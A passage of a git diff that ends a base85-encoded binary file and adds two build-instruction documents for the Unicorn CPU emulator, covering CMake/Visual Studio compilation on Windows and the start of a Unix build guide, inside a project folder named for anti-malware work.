zi#v@aCG5a}lo7I?pA|LAIibxwi$;IHR@|R3P~f2EnL)~W;UL^kN?X^fhVs!8I{`2l zDbezm)@#hZy}Qw4KhN^6M4(eAme=(F%T$aKhQ$1{d53B3`zlP$2Q`rV+mP`*v_!I# zd!Nr_LE9O!+_Fb^m0m06w&|P)^%pDgscG|{_~OGZ`maC|@EAN~pAMJe?TN3Y3f-{J z$cX_?R5$r4aGH(t14+y{&5klY>qgH_fT=19C&_xS)O?G66NE~z;-`NWxEK00SEi-z zW~^?8cF9(-b@-!{+^<*^PS|A{QJGwwt=yM_#mw`j#~$q3{xRk*(yya-&G*uE>K+5i z@ZIl*br_IaU;BOasq%w?IoIm}Phm;K!3-}bixE#<cf60IQd?3!q`}OrRHf!t8Z}|8 znL>9**)+&$){ft-D*l!O0YzgYL`r-gC92sB)h1KbDD21zV76EsTPd{3577Pg7jj-R z33ggZWmA=GjW!_@**;u{j#z`di3WSz=K8LN(>B&0^D0A)Da`2{D=qdh0xS3UAWVoK z8@32Dst2Fnn+M;=YI-h$naTVVoX_5BqF)gob|LN8eo4HW^VjOe2vB<Du8XQ&WRFk^ z@xhKg^RD*-^gdEH<AHIm>U)!B045Jtm{K_GOQKfmUir6PD6f!g7UxML&*#1|<&C7h z5<L5rm%+NRw&jR$vxaYfaB3eG5xTwZ1x(=}VT3rQ>8a{PhE%LG#UaXy!nxOOUn?vT zu(sKO2J<x1+UUIxgrR>jtWd~B&Y=sx8T6!sVgL|^8Xmy%81KK3He@%@@0z9VLeajJ z`5SgScwH|>+*(C9;)*VcYn3I+5tu3Efh6S18Om1|5}l{BW!+ndVRUDBg!Z<|Bn<^` z!z?sdO9$23nL$|_R-l=8eB{frhk-z(oGZ^!O|5PYdA81rWL3&FzLSsbUBTUd7^Uo5 zz}LN7ocl&5Wd$`#zefkgPvty*6$r>}oO-Vvl=Fqq-IY6Fj4oF&y5Op_7z#_;d2o}) zatGR@xgL{~85-<S2tK=@xO3Dt+p~Y-lt@c;sAgsz?iO}Xrvco&4$orT+sc=lxLIn~ z3r)SZ)4e&HO1CW~ift&c=|h||^~4!$Vc_iCqcY4u+hG){J;XV}Ie*rJ!n?j{Y8PNG z*{x7hBZWGrQJ(M-fC+@JYQ<>1!*N-3oUQ^Xl){4U-J7YEff6z+{^W|CaWpq&(WAC7 zvAxBC9>-Bi%9|V5^&mHSWepcX#u0VU=i-!wePECSiBM<`YB_?c*ujhPk`ID{I5q6S zwTv-b#8zYPyLE+H`Nyr$%FAU;kl}o`(58ui3>31UoIF^o_=imXR5p2dypZ%wOC#e` zaH;<8quArHGpj|JAp)CCgL7Htj60ub7ibkqH`dRYL-$0)ho9n4wz8^c0JS`%SoqE{ z$b!0_5|=(ZaC@Q=<@A6!#jlFi6MVh#+v!Q0+Ws^CtCvnxM0~43WT7-J_7>|7kF_h1 zIqx`BOjk_a38u$hPmo^DdH;TX2ZRDL2j?E_BE@wp@3fxZMxqw<L8ld%WA2YA4lGZa z!bXPc<x>S2$CT#0lXf_l^bV{w^2!1v>y7RoNGGmzu*%n@Es|oH-DNHb@hE&q*Jk8s zlvcp=L%rS)yu6~5Frbvz_T7=9Xd3Ggih!1V#Cs6d<pp;#q!_RI>_;7Bb3&9U<P7lR zcX4&O!<9g`lVZKYK}cDS``<(Ic|}j-gEIC*`Y4GVST=}e{;(T*rSyr}_Lvp8Sq?V< zU05zk#n<fM3xKZOE(bh^H0`+Lu&w$5qkc)=kec&wawyL-X&sf=%ScnoTdh5O+C^Ws zVV=L6;shx#$A<s)2{UB!fj4VEd$t;0^TsHOvlL9Q*3!K5%CQ-<b)8LyRqm0}Tz?2G zNMC;X$gSQB2gq>PLNvM*uk~sfR&xlck#+?CKDA(6W={mJ@ZdhdH7$~pY5hpQch+fM zruWG)I<)_<n2q_YW3p7XF`QbYi%FZX(bGG)Bi&YUd15HX=#nLV%|XtoZ1AMmm5Ef) zYz(E&$e3JGWi}t>lP)Si6M92C3RaGgIX#8tBDWw;(oT1LD1XdP35VA=PR(XlTEi&D zNU0Y3L!aUHtyC(`v=K2IE~0#<KHuq)TQJXw$2>3Y<Olgv)nmCMic<fBCt%fGuCrg` zr6|LoLX_xkp!va*1aMTMlUoOF)lxPB$Kl&HT{n5}G=UPFouWm^K^JkQQy}F2M1LyK zp=ogN%q~nx_y!uetin4qij8$yg;Vag-CnV(i=+^~(_ElbI+CPM80^%ftp=;iu}Bqs zz1`z`O!F#{;j&y4u8vSyh{OF1i1_g21$urb!Gj~xY_cnis6KU6%t5ecz;kXhYQRI? zX4(2v`Q)%f>s^qhv&c$2P4=YtUeuki^;9WPP2eSORT8$tXK7AERiLRHCcRo<f;4Dj zc(Vj+&>&U+FS^DD-FcgvQ1v6!jyNUI!ccQFIvA3zUa9U3f8XY=Jg%GH1OZE&@qoeC zmRB$=l&6o2Z+$>Zz`5>DyK?E+h5G7Z9i@QrSIBChwTKU5G==zSJB7mIjftNfXo`4; z|1JmkdhgB)D#g`En8nJ*lZjy|hFN#a^FLoV&d)mJkUE2u;XuwCv+2BUdATqi7F?F@ z1Ofwi@@0HO&rWbPV=BYF-IIKPeO2dcG<CY%Whg9+_0ToJi;xUhlkz36118O~&F=r| z&^6{RCe&!b+gelq9wj3qwCFr}&s=g^!^E~yspO8=az$tOCZ`?W=&>_Gy7%wX{RqJ@ zJ-QIXF06R1PJsKuFk*|k)x}#ALpO(EqBi_0LcR*&RA!6WYU$s+7v=J+#+ypfu_YcG zB%Jv(%h(0EY|lu3er_MFsw0{xsb@pU<EYkf<$<ms{e>*Gts$*WB+g7FXY$%j$xs#7 zGGF)-uKdGsk9$3wqX3CG4GMZzv@f-LT-{-JwBE>G%f79UZ$)(K)CY>R(1elzVUVXr zuSWdF=#9GsgZvcc6$9&4S1vLna(O?&a8E9Z!2rQ_=^Hj2MSWDc9oYH)<7$16?t8ht zL@Q%nd;p;?Ejf$m>yciPf$RstdhqJ=iCWEa7W<=Yc#$5DK7oq@X#Cl_OV{w5`9oTP zLP+W|(Ks*WH!v^QXB4*`Kzm$;X2MsiwX){(9mZSviX#LiprD7hiPv}z3CM%m-JP!k zHRSQ=I;DV&|Aj0uj^u8^+aCG1u^9Vba*5C$$Z7|qfC~{Ld1H2nW6RXY;>V>l?Gl$@ z7N|^qTk=Y`U5L_eyK8%Z4AR`w%uJ9T#Xzrath-cXvlSz>fRM!Is8udME{3HB?O-Vc zU5RM&>b)06w&%JCXaKs}+T2gbEYUl{ZKHEyjO^^~^Ssrin4~;h<k1hmwEoJc@_zJi zt(TqS>vvvqQ;|#RhoBVoKc5(*)t1mh00={~(wx2lgCLCOs9p(LmFueQW=)|gxJ5%2 zOOjTaEYqKJ+yZ~^kuKaCn94u&J|O!2O%1gkTUagg^7JBSxWoNEBy@|8AnuB2>YnJ# z!LaJFKT5Vd7tt@vDu6a1AGsJ-gq~UGunSsA3ndrD<sajjwf%YU&4^<VJ5vDDW0X}m z=(cx>)^-OJt)rz2PQlEI>yGVnp8?&KEZoycC3v<^(#ABH^3qH|xB#XjJPU;3Jc(-V z?1&LoXIyI?M~pm2YkjoLobT<HP?NN+a4vyQA+kwGh`ZUU4lHtzYQ_3k-54!YMuK8e zyU}pq^otu4Yu>x(YVEHT&q{c9&R~{fV)2iV_=mUo;KotUY_48H0DxUB^&ui}u|ALN z(*QrNs5O}Yd2b(|y>%$Oxg3h)9}}9e01RMjynmN^d~=GT@+VwVd5nJPcuf$3IybQx zdcThL`XEeS{<Y8GWn}hkb9UjY3+Y0BgWaFx8M9tybU5+07H<kc1!<`C5qSgf;C3gd zV1ZKs4<$)Otd6TNPcy*?c-RBq@nfniiC+I`eMrZaReH(!^^sV&pTwWPcs)f}?L8I8 z#-)SHC$XZ14^k`?5xV!dord^$5L!H5^Sz5SrKV0lJ%>=3jysnoFA7SI_CA{!a#tlX z>s4yQd@o3kq<#!!9M#HFd1iWa9HyG{I7}v*zk~Z>J-qmw(a|e@T>TLg<@>_J#BMXc zHiAul{b%ivgs2){IJ;~L`oiFR32z6tThbykYLdI(L?p*}s(z|L6DnRQ*R6C-j$cM9 zN@)-&Qr!iihsTt8bG?P0_YeK2xCWD)kt44Dp~Ah(Hi5q!1cCQH<CyV@Q+08j=DL>{ z36p`WS0%!6w`Gr8{ya1wk$MOY-wZB}mUy8bE1)48BY0{nTB4x~G){<EM10uW6KzS* zgd8S)J5`!C4BtEDZCJ;8N*!N)792z$S&Pyf%ZMUyJY&N~i#iGOPpdb0tQe?9^E7C* zI$3?_LgbM5F=Np@b*##4kAYl#YkEn4`M_aZF_+TntL?!c!v6z7*CmDuWo~41baG{3 zZ3<;>WN%_>3NtV`ATS_rVrmLJJPI#Vd2nSQFHd4>Q*><#FHRsaFfa-)Mrm?$bRan} zFbXeBWo~D5XdpB)F*YC|ARr(h3NJ=!Y;<LEATLI2VRU6gWn*t-WePq%3UhRFWnpa! zc-rk-X>%IK*8a|~=#NRIJiTwXT(?S=Ek}vBSaxj3<qsH*BoYKNATRH)f1h)DfI&zK zNZ9eMd#l8ur>B>*JZI@)WK|GKSQUk{__87eVYLw^X?!d6CVV^Lqr<lsK}URR5dvlz zEfV^y<(CvBnCm6($&mhQ|s<p^-7wB%!U#Xau2MHbNVG0=limm=LifCPhtSBO0FW zV7+W@$676nir~z8VGP)_HlX3Lw*{{z)8H)70j_KmCS*(nJ0=<I=`cM-BSI1;6T_Ao zK6k7mX>r>+T2o;*slkzO4x9u_S6Dm-S_Yp)n>#F#Xmf9cQ?w^!b>I*U50yEv>;vfz z%X=f7BQ64T93Z5HXf6e;?6dHS7Q}vDgF73v@Fc$tMtGNKmK8pDYQP9dr;ZI?_?*Er zcnX>ZM@4o48zG2bG**rl>V$bL>D6OuiXudkFT#eAgd}}LFo*%!xsIVPY=bWk9wWwQ zn90T@q9a|zEMivZNlGM3#sEZ;O}LeeNDPDo{3JtToX9r14%8&FqkXYc=9R%o&WU;e z3FXM(kW;Hn@<S}G9fY@JK)?dqWRF(D_BI0;Mv<{IW*BEx$0^J(fek?>&#)*=0<e(| z9899Y1FWMk!(nX!f|kR|4w}*~de{ZbYnXy`35|G@iDCv+7dsF}`xuEK8kPyvi9oBM zZ{mq{4%u}eOKKod2al~2K|FZEHDnD5yjo8aGcaX<Wf(2{&fU8md0)J>%E1+%3;FuZ zA0k&79Ghq>NGFEpgTcGbzyH1AP$73mgVFfltlO($S)TE%JDt|!p)lq0!RP72gK2kK z0|(U6k$a=zRNTEQ<R0Wq&9FVFCN(SU!C`Y~+VC-GptON&(n~WTi&U5dFY@)%_kY&C zX5CX-EY0sd8;^Pi^;EnCbNBazd{KX%in+8ezMR#>^>N*SG{b2<oKE1g%u7c;uP3AP zaj%|mP~xt~^<lqzZ}eHbC05`_Rida74XNi{2P=-d!wGY8AY{WrcZ_whMks4M9FNY= z1YCu$c80?dHhs$hk+{CV9N+KAgY)-OzJAn=odr-_O_#7k2p$OT8r)$R+=3G%3^2gp z?!je%;1UuD8r*G=-~j?b2Z!JxcyJvE1RtE8w|4idt$+8g-Ku-)ww&&Jx~l8+t*5(A zGd#>BA(c0K14cE<p{Mq!i0Pfx?Q31oKJi~C`ek5SbVhJyQOTKJ_^ghtPhUnZRr(7R ze&wg{AJ<<atsh$?4-?+ssBE-j;JC~xPXs75f6U|Vt_x8+c|mIui}@V=iSHu;*+5l6 zPq|xY%-wxa&t8*u{mP_U6s`?N?zf1T_L!I!X)uqwMGy2-M57FWs|dK#u4+NVZt?qW zYok>;se@P#S#qu38Ml&cPqk;f54YIY9p|;7{l63{vo-kf7w=sK^FYhCXP6ixO~SYa z8D3XaSiG(BR1gaf>jLp6+{SagQ1UM8g6)ei--beSehU{Pv5;k>g?=(I@kimct(Z~o zNWRr0YCqHW>|)82cmfO90)>MIF>lh?veniD<2LolKKqMCb1;LCes_#W4&~CLsnHLm zPaqLzy~ExCm;9WvK{w#s7q=Z#etu>2^vGx*VQPlQmeA$*cmBryIT;=tRZ>+pI-#>y zKqCw&^HKbOkMy2aDT$Sajyj)EAX&p>U2SXKH}o3ObDCQQ>E9=-J8Sy}vDjTvFM9?L z5;z_t`8e-xSfd`vS^IUU)|qA74f}syI!E76a}+K8NMbJ`ONpwJPHA%2+bUwuyrTo3 zRcHTYV~u2EeKr?(YYcl&$d&L?-ChqPK#DSmY)`HZpr^X7T#r-;3J7isBm|tkdMZ@& zb24SBLg)N9KT$)lbt&dOvQMX0lKxT_W$aA;N{(oTK{xqYCGM*-kK-&=Eq0+AQM+nU ziK@!YsXafCLB~{u)MtBh_yI2%i)^acsEj)mIIpf(q|&WgKfXJ5l^xo>`Eb5<Cw+z~ zd^tXzU7PKd5hidrRGoCrJAU&`=R9#f*~2aE@HToGSv+Mvy1h$U@M?j9em1}IGXk-; zljF2q(8vMz2p^8qN-bM82A6xDKKjj+=vAcvuuDFyCIx@1*lT8Wch<YA{gNebBKfyk z^qgByv+z#;WH|-o(G(f8<IK{0MMt6OabLu_7(ytu6xI`t%`_38Fg`H&w|_}I<TUuc zezh`RwjCLt7H~iWYq(;#Pk{ZkP@wz5@u2e9%gN&?6r-VCKKD)SWszoW##KyFfm|Zb zp(j$Lu}arr0j5cJgWx4h(0U^3VEN{_eBJ#NK-Qr}#LX+U0bC`UN<=yT0BZ%sLj)gz zIH$@dK4|d-S%)o=WByNqysd;78>MOzy@fc39VCc+u6t6AtynF47=HM3bv9)rO}`2E z*R^}$7(aqk)4f*Cx1JV(U?owgbk_>k(-10^?gRyZEQH47E}0ES2q3I=EU<pkG|gH4 zG#*-2-(PM$?~<=YQuGV8!oiLo1Bz99XOmpI(=mh<^}177tNm5TMMmAIsF;UgQpNmo zrIe%ymf`@MtevwDC4gF(v5RupKwkXr^+Kmn;h$zNwhx%)k!Gm72WjM5OmAYJR550x zuI`}~%rot|&@1s-@OBq!V+7!j|0?}tDYqw~WNJ66GKED(H0%97#S(3F=Z$tOGm~02 z=O`>yhtyKLYl_`&P?cFtV+zl-B>m@`tiY1xc!DxlMs*T3;^Oy?R3wGEqHWGktw9q8 zo%p;5q(;7ux)iE+YxoPJNv#nhYh0A^7-FPJ=Efpg8FA`cc$j5c`20U8DL^IxpRv8- z1whJ*3K=h%J@7CGjpD)7Pc7LeubUQx5BlCki(eeupIQpd$vdV$eCssf7<lRClV+`1 z=>q6a`zpUV^;|k)2%S!8)nsswT*$Z>uj!a7VC<t+7))ipA&Kv+)GzZz4IK7wis5)E ze+k9bE3;ne7801)1+a%RlQ(gy?ZJG{tCBV{Kc4G3P$@i6+Ce#cfd6&E(2>}Ed#ju6 zAjR`n$UYiAwDyja*)AD)CL~@A&AP)#Qyt5|rrB9Af*p#f`}Np|ViCoir8aCHPwgm7 zJAcBHP8GTMCcNXv`lACLX>DfY5);vxX?_z2(;LDnKr^d9@B5v#L~ULk6?l%xh$S81 zSpP|Z+nu55Dq>P8^Cf%l!!A{R)*UxZ%^8O>Xq<_k!zJNu+fiBO7|?m~yJpAk^F-{E zdOyz%dM)}KF&V`id3mEx>gTg1>vac?GvK=gk_jUZO9cfT4HjIes0-~+&MJuSvrnL$ zNI&ChVf!!du}USr(vuj*vaIVPcz=s7Vw<F=T-iFb8A^ih_#E|s+5tG|TR|~AWWp+% z`@?CT_Cj7VtsrBmNS}>Q*>O&w#P1@iChR4|FRWgxr7+`aa*bDv<m?0Wj9|GMPEAFk zqwIyztQJN`Dt;g?WL?d={&z1LwaUq|s+Cecn@d53&fSIaFi+#UKg~IZAa-|o{MaOu z+bIQ%9}-FTX*Q@3z2ulR3Ti<PoG*W>_i2vE)#k0X!2|`zkYnxEy$Xd~p0gilJ0JwE z=?_t*CN?P!8%y;D-<HzkAUo;73iLQ3{0rS8b4kuqc6QF*g|j;M3WhR58+K6BkETi9 zx{LU%;3u3(>ck|p_Ov}Vg?&PGM;z%usIZEFYkFIAp>3}G2%igXNiSO<vBkp2WHZBq ziWIF91aWV6Qi>`1EHv^SPBh^qq8`Z4H4taTz~`db_O4eiYLlzGA<loI&*$DM#6g10 zbUTeS(;8hRKCLE)e<6_@(^_1Hf03=>lM>Bux97~mLc~w=6EwstBl~~PUddOl<Axoe z9njjlcjEE9GS1_caTN-h3y@dViaMJ6ywVaPLKiopTg1Ms8{q4EJUD^;``CDUwHBw} zBDhDd70JzfbmG+}$rdY_xl%NnWs*jpcc>9?9!a3x#tdz<mz}%c{LIOk6<^}Aw?da& zKl;!pxrg+9KNvwRy(gA2Th@ga?O&U17|KR2j)+HSPrvvoiQ)xui1CD|*bbSUMUxe{ zVZafz2|Qsg>wkREn@`X1N2*i)3(HZ<D}GGFIF_P6^5uz|#vEFJ@kpH!;tJs{MDDMS zt~4dV><^xGXP&$LZaix3U}C_FD1k%3f@)?O2PgkW;vVXvEpDYujW%m>I%FF#LK8?u z%NL8fy2}OGeQzGTe2=jByY>phhwLVY47%sSO-Dr25XXB()%>iBwl-qbM1EBy?aT!S zx>eK8&oCr?otRH4`?+g4{S<nw>}#uasT?sycz)i<?L3S(RQxb#L?1UkcnZlI>bz4Y z*s7rYVHpA$Numvl-!6H8yx1;zG<<`(Jp3`|2V%ITX8U|vHE%@gwBhdMV=a9`nh%vo z`0zA4($}2Kw3OTDBes9^Bl^&ws<5Vd`XbN4&*fL?HP!0+xWlsPK8Ed$AN_8z-gR}{ zRDVdXCDpPeP6&o68h)N32H&OiFQI`hw`3Skao7ANju|azpHiz(zy*p{tr045azQ{| zUSEdr0b1hSQ|5wWST)OyXfA%r`7sg;8SLMyR)mFX!1-EKt;mR(ds#nup*8u4*Z)`N zozepr!|>p7b=e<NtW%74^W4`)4`@ohS`+&xC6ZDp%fqB{cBkoo-q2j|wf}WL3c1)_ zDR_q)$8fPdWwHK|-F*Dbnpe=Z{RnR405?yV>20xszld1=(2IUPUZ`~XZm+`e3{9M~ z2+6xYUn@jn_7n1tq&tva)?fZS&Vt?NQglba`axd0(&m8K?2$O1IG9Wh6pQ!WlzINx zEN<c8W@~J!KE7Bv`)AGStM&H0<Ah%nV+-+}=~TX~l#)%_R+4`8XFJyiR;FI5%=@(V zvlkpDUTrmi>q<p#&*pT^MlKKBeg4Az37CZvZnmdWD`A4jkJnmx(gEjNhT0Kc1{F;G zZ0y=`={l11j%_ApH)AsvhkDmRUBiDT3^|`6L<%Ux%owlsl8?XYyBnfy0G`qO=5-Ee zIB&VN*iA1hLCnoXl6)aWFtB((KUeIn#usagFAeH6o95qjOm38zMzF@1a3Jo8`}g8> zHo6}kilbAA&D&e}ST}&62Q8q)4c4MQM)gIq)t+Y!rNXr*KK2*b8QcU-Wki*F6gP^v zH%&c4YeZt6W3Jur@&*~*7DrGsE*$S2>Yykq##-4~O3<3#I>#!ktKDyVeFey$N`HpH z>Rs8Zla<08xi2oJ=6hXR)-Iex0;-^jzv)?I6T-<R*M8#a_g!IPn$A8e89}WeB1Q3r zGa-eVGTzK2PXW73iu{8Xrc$sBpiV~-#JZlEBd#8ECJ-LuaOQm<J=B?cs2H!Fx%L%! zY?+6>Q*pA)wQuCM0%D)^sFkd^R!T`7#8YS74&mDs4ZOVB98NiA;xLol|Hfx_@uG~K z<RRfwT`*+%s1j>5_I5D#R(CPyZ*82b;N+)VrkF>;AnP>!2}cUUAKX0K<mxMpVxCKD z4i^qhqeS<zk4o{s^weVfX?UvXZTP<0@PD=WNv!U|d+k!!XjErzGhACoT5H4Uf}zH( zx1*G{vFcC}=h}v!rqA6O%TryjWH$CwAEilcYVo?ZXUTjxc_n6DKPEYrXW_u`=l5+7 zV;uEL;U1+l{k6lMRJk>3zem}a#{8oH4myB9z<&W9az5S;Zk{N=1a|a(Ym0j8`dB&H zT6?2X3Mg>ljjGeI1lvLwp^hltA&){CD8^y^*3!$1(bv|~%hAo1QHW1Sgp(iS>1N|& zZR^S5Zexei=N04w3h)V{D%5TLp>CcwUL2gb|K264jUoz>FmfnL00abu1;hkI1p$JB z03luhQFZ|Vc9fo`o6Y~G0`|0Ycek}c@fORsUbeXWAg~gIPub_~TPsUfSCow$U<XGp zM%44~_V6(3|I1uKprEigKtz}qz$fybcB1rAgVb>JwPpOrC{9LacS~;vFI&rh4O4^< zz$eK057M!9wQ;j@!Udw(j{xI8DJdyj{{NR40fqh(7zv30{{@T$g~f#bufPZfS#?_y zAq+;EcMnqbIxW+Me0W93=-e#bsM%K9k4YNjZd@pwI1qM7x)jnSNe=@RZB$V`jXX#A ztwI?pCX$&Hr!)5O3q-4h_TZsz&lemRm9701PX~r6+fSs3{YY%QyBnp9u-S@?ArAP! zJu!GJO^sc>;FDj}6KEEse<_E=H>sioC~M&9xgIuf3Abl6VZv!=QZLiD>TM-*C|cr` z2pSco<Rb9VjaeeF@wKYtmWC7;Kfp;Qa*S&RR4F5>oT8+8cmP3GFVk9D(BH5LY)P|| zP&-AT_kzxodl^Er8(4V#Gf|-s5myZAq*wWgUSU)uDjjzX8mvIt9k#dd7BOklD%4q* z>C73orGs88AOG8vL>V<g@=EjB+cz~CGud5y!9fqVTKxPI=JE}yh>6zwvgMtfx@AGm z4e58iCu6Q5em6cHLN0BP4hRLq!|y<uz-2FHO*LuBTeS0$Gw80{qw1a|=5Nhz1>I0A zE_e|BL%=<3iC<r<x%v4v#hw4$iN-jH>o)Mr-)#jeMJw>j&nNA&jx4psFsUEwL1*iN z*lRhn$KTTuBrq$jvo{YP;h^fP0xSB6_*ed54aHlB=PWbt6N2f5-cQR+?zSKk28Wiy zn9f|h%>6?IoN}@Tk#Yr1*h~r4@rwSVl$YHy<!}cTO1`<%FGLstb^5Qx()t%4?#eq8 zh2eq9{X8U?cZ92AJ2dpDGv`}X_N!+$Q<Y1-Gdo7Juv`7-!f3-m&VkA^$sUmJ;wC<U z(1U)j&9kgLo*nL5=rYvf^3+UA{bC3P^R}rNJEmA(MNjvj`*YADRzngC;F|S=IY*}+ z4XJVAz%{5OQ^FPisEEB`a?<ZKI)Wur<Pde};>(;I(3k;;Z{kw?HtP23MWOozIg6ME zZW4aUhJGNnhHIy+DfLJi0K<jTV2sz&{K4wJdQ&&(^zAKTcceD}3dz#XUEi|04?43A zntxks>G+j3wcBo(@2FCMJz|BXSin<kHuZJS^`&vgeBcr-+uMO*hSK)fO8rphEZ1Rk zY@c~AN)s{y6Gc|KDC6;g*0~|eBF<aEGLMHOOh}<a8Q~CDabC7IC5wqqlnJ_NKZ&93 zxepQd`epD<OHK)cHNQl3R@a_MKF4!n0zHU#9ud=z8nDvVA2`uP)K89k>>#V$ii#BG z+025MidD~<^einSQ^)%xNc8OEa%>pZ`Ev%Y2dOOzhxL(k^^;ppZ^^R)eS$wk)j(O7 zA*sL~GtF)K%V6<0vhsPl-Fmm&$fC-50k2~{1yA`?(X-bN#IAWmJJ*h%9$T1#K4shU z^|4=*AvYvsEZv>i#RBDTmRn+93u8hdrfcfIYtCjc0$!HM%HIDrUHiOq*cioG0l0r4 z$Vi;faJ$M>0Xt`(dI4@g%6*$>5r*+B?*;+MIUOD8MPk<Z5RYj*E3G(Q=a@nG2jj0E z=E{AB0kxB=fWJhKTT7{d==+JnS{k2P-<nBh{rE87!2R)yP&&)66qU+khCxH4mUi{l zXg$ChQSDa8c4_%xT6T53q!C#^jyl@siSf!*9ufAjX&q}`8Urm}rkOV*x#aAuTo_;y zUZ~OC=X0vEjnt}!iPmTcU=%{GVJ03<nEjlYx@cV0)<cDhRdZl(*YSEg5jepmZu#AI z_}R$m@S|F?Rgk6Gd$by{AJ@Wct1m@DOc(B4?9N1nY9%FZ9xvT@oFeavQdR}Fn+t$D zE=|{QM#0z;PW{uHsUy1-`s$ei-?84vSIfz~NdxFQC0t1Go>nb+#ls+vH>ch~5ObF< zo^#gIqo9TmX&(Be=^f*xE|~kn$l<Q*h3o3YFz1!keSO<veqIfqYuDkbsFZ)u(~$-t zRiQ1aQmT_rKSxhTOEWh!)rBU6^6kRxnZ}IrnjFdf$(uZxVM1!*+O&j>AQnOn5D%dM z2uLUfk|KNsQY2IbX%K=yU_uDUgwzC#lF@q@CK&|=#s62*pQV%jhkX6|+NhtkoArN? zd-$O3#eQj<%p=R-@5ptR6Z00rxWfNwr5E~d3lv1h)()5dwX2P-AEU7VBM=BQ#pTy^ z46ywtiOX-mXe`Jm#3+a=)Nyn3MimO8y3qNjg`FEJ_s_4xKRHE4V<|;t5rDG1sG^*_ zvb>^#xB>turl=$!4-f~4DggyW1!NficNNrk{$ndeP*4c?e_a__Qy1Ly^hgJg(C8Jf zcOxdabQ~$)p7Vkn_#16Yd967W3Q2J>3bP!n<TtXZUk7^lb!QM3%j9AOf!q~~7ud2W zKdDVBDuApvBC_^k2f9K7f*JU`0-dWHkmB!Z|Nfzq=NR1y|FQ)4tz(V^<&1&Q)fmxi z>m2l%M)AHA?uY+6RvGGPBY+jmRe9omKhwW{t0>(|9)UTTp_%9gZAy&djSP|Gv0Fdo z;c4HjW5YABvpm6xhVe*=#j3%N{-{s)mjlW%-VMzZa}^Neur^~0V~vgxdTo&tkE5Rr z^RhIDP8LubBo`a);$(=+D315uonnf-MH9EHF@Bns?98-lAQH|tnZwIu!_6h?r^IVP z<)B-RfYy-lU~y+eHS0}8aPEwV_@1gV(t`XpX%Zkf5^$%<n&X`jKJRc;WN+qDvXy{e zQNjgy-Vr_)((_LO;L3G4=ixGS7*%?HZ4(XPZaX`f*hQT2It6es(i`J=ZUS8s_pjOI zd~g)f7h-$h*JUG|QL&_NjM}XkcA}X_dk^=GdQoOF-ycXpDpLs+dwLmR8Kor)b>*MO zA_(tY3+=g2Fp++y+)d<8`|0&}a)X3$>-Np(x9RLsXm7$iDy|~(C2`o`j_w2+YTIl3 zq+&1l!W}D)V(=(Jjo&39mO%-*mc4i1)PMF2c6`<;JR_@o3BRjntfus>!AyA)@~Y3h zo~KEx^@khbfu9Omlnb+dyccXnA^2IdN)>H-ctAzlOcZ8lKJ!Z46;MP?dgA-ya{>3h zs(QLcwII5hZ)kTECq{n~zy0>GB!ia`Ju2N%c$k`S<F6o@=LKu*)$Oj1iyC*$DUNOW zKGv%&UetR*fR|jz8Kvm#?kDA3$ivU$mP_-szmf0gTrnVA1YA)22CsP@SFE-tX0ei~ z4E|Fy%N8%-c0}2z*iI@8US!!yZ^`Qo`|M6aPd6u8W5zZ(4%~~6jryEDG_Hl3@375c z2cHncit)sAhph7(ctCPM4@vxVRt-as<m{>W-;Z)aS~<zGYQ%FeDf#krEf;Wh1x#!t zE5(1Yk}dAc`@9GHcZinPJ-qLI$`RI%yF8b}9Zo%~t%GQ@4_8B)`4m2PhX`vUj;6<F z!ef$+yVp(NCq}u&TL;DCV^|j!IFOR9OIbc1Oc^juH=qtYobW=XnTiKXhHmK<mV=(B z8$7|?&S0sV6@G1CiYJkJclw#Z5P!BV<Jk=UELxi@`W_lhH`^p$;H(el^`Za7PpmHm z3~w=vQ|@Fo_8G<SeV^tVm>B9EmG2W$VlrEx=E!9P`WmBH$=1YDo*PgS%vMEE`8%-R zNn^VkD|(P9m0uR}pq*-d)wiGVL$s_qzVgmId#1$+E4WFba4}QA^7EIDo2Z#cr;tu3 zAGOq)vMM&c?<WFWuxZX}O>TG@Zk!sz;zw@!&##R*ljXk*80j>O(Sp<w#%ilN<~2Yr zScD_{v5V3>o#yCHnCTZ2H-ay}dEP&wy>6gx|L<<q%iGe^+s_l_M@2<ML;=FMtgK2} H%DDdqo(9f& literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-CMAKE.md b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-CMAKE.md new file mode 100644 index 0000000..6e8be6c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-CMAKE.md @@ -0,0 +1,57 @@ +This documentation explains how to compile Unicorn with CMake on Windows or +*nix. + +---- + +Requirements: + +- Windows: MicroSoft Visual Studio(>=2013). +- *nix: GNU gcc or clang to generate dynamic source files. + +Get CMake for free from http://www.cmake.org. + + +[1] To build Unicorn using Nmake of Windows SDK, do: + + mkdir build + cd build + ..\nmake.bat + + After this, find the samples test*.exe, unicorn.lib & unicorn.dll + in the same directory. + + +- To build Unicorn using Visual Studio, choose the generator accordingly to the + version of Visual Studio on your machine. For example, with Visual Studio 2013, do: + + mkdir build + cd build + cmake -G "Visual Studio 12" .. + + After this, find unicorn.sln in the same directory. Open it with Visual Studio + and build the solution including libraries & all test as usual. + + +[2] You can make sure the prior steps successfully worked by launching one of the + sample binary (sample_*.exe). + + +[3] You can also enable just one specific architecture by passing the architecture name + to either the cmake.sh or nmake.bat scripts. e.g.: + + ..\nmake.bat x86 + + Will just target the x86 architecture. The list of available architectures are: + X86 ARM AARCH64 M68K MIPS SPARC. + + +[4] You can also create an installation image with cmake, by using the 'install' target. + Use: + + cmake --build . --config Release --target install + + This will normally install an image in a default location (on MacOS and Linux, but this is not supported + on Windows). So in case you want to change the install location, set this when configuring CMake. + Use: `-DCMAKE_INSTALL_PREFIX=path` for instance, to put the installation in the 'path' subdirectory of + the build directory. + The default value of 'CMAKE_INSTALL_PREFIX' on *nix is '/usr/local'. diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-NIX.md b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-NIX.md new file mode 100644 index 0000000..6964d68 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-NIX.md @@ -0,0 +1,164 @@ +This documentation explains how to compile, install & run Unicorn on MacOSX, +Linux, BSD, Solaris, Android & iOS. + +To compile for Microsoft Windows, see [COMPILE-WINDOWS.md](COMPILE-WINDOWS.md) + +---- + +[1] Tailor Unicorn to your need. + +Out of 6 archtitectures supported by Unicorn (Arm, Arm64, M68K, Mips, Sparc, +& X86), if you just need several selected archs, choose which ones you want +to compile in by editing "config.mk" before going to next steps. + 